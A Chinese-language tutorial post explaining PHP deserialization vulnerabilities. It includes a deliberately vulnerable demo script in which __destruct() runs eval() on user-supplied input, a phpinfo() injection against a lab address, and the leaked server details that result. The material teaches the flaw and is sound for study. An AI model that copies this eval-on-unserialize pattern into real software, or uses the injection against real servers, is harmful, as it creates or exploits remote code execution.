反序列化漏洞3-反序列化漏洞讲解演示

发布于:2025-07-20 ⋅ 阅读:(15) ⋅ 点赞:(0)

一.反序列化漏洞的介绍       

        当用户的请求在传给反序列化函数 unserialize()之前没有被正确的过滤时就会产生漏洞。因为
PHP 允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的 unserialize
函数,最终 导致一个在该应用范围内的任意 PHP 对象注入。
反序列化漏洞出现需要满足两个条件:
1. unserialize 时参数用户可控
2. 参数被传递到方法中被执行,并且方法中使用了危险函数。
什么是危险函数?比如 php 代码执行函数、文件读取函数、文件写入函数等等。
代码演示:
<?php
class Test{
var $free = "demo";
function __destruct(){
//_destruct()函数中调用 eval 执行序列化对象中的语句
@eval($this->free);
}
}
$free = $_GET['free'];
$len = strlen($free)+1;
//构造序列化对象
$ser = "O:4:\"Test\":1:{s:4:\"free\";s:".$len.":\"".$free.";\";}";
// 反序列化同时触发_destruct 函数
$xuegod = unserialize($ser);
?>
       用户提交的参数作为序列化后的字符串参数,进行反序列化时触发__destruct()魔术方法,而
魔术方法中使用危险函数 eval(),$this->free 可以调用对象中的 free 属性,所以使 $free =
"phpinfo();"; 而 @eval($this->free); 则执行 free 属性中的 php 代码
浏览器访问URL:http://192.168.112.12/free.php
这里不用加分号因为代码里面自带了。
这就导致敏感信息泄露:

PHP Version 5.4.16

 
System Linux localhost.localdomain 3.10.0-957.el7.x86_64 #1 SMP Thu Nov 8 23:39:32 UTC 2018 x86_64
Build Date Apr 1 2020 04:08:16
Server API Apache 2.0 Handler
Virtual Directory Support disabled
Configuration File (php.ini) Path /etc
Loaded Configuration File /etc/php.ini
Scan this dir for additional .ini files /etc/php.d
Additional .ini files parsed /etc/php.d/curl.ini, /etc/php.d/fileinfo.ini, /etc/php.d/gd.ini, /etc/php.d/json.ini, /etc/php.d/mysql.ini, /etc/php.d/mysqli.ini, /etc/php.d/pdo.ini, /etc/php.d/pdo_mysql.ini, /etc/php.d/pdo_sqlite.ini, /etc/php.d/phar.ini, /etc/php.d/sqlite3.ini, /etc/php.d/zip.ini
PHP API 20100412
PHP Extension 20100525
Zend Extension 220100525
Zend Extension Build API220100525,NTS
PHP Extension Build API20100525,NTS
Debug Build no
Thread Safety disabled
Zend Signal Handling disabled
Zend Memory Manager enabled
Zend Multibyte Support disabled
IPv6 Support enabled
DTrace Support disabled
Registered PHP Streams https, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http, ftp, phar, zip
Registered Stream Socket Transports tcp, udp, unix, udg, ssl, sslv3, tls
Registered Stream Filters zlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk
 
This program makes use of the Zend Scripting Language Engine:
Zend Engine v2.4.0, Copyright (c) 1998-2013 Zend Technologies
这就是简单的反序列化漏洞演示。
注意:在URL中:空白字符1可以用%00和/00来表示。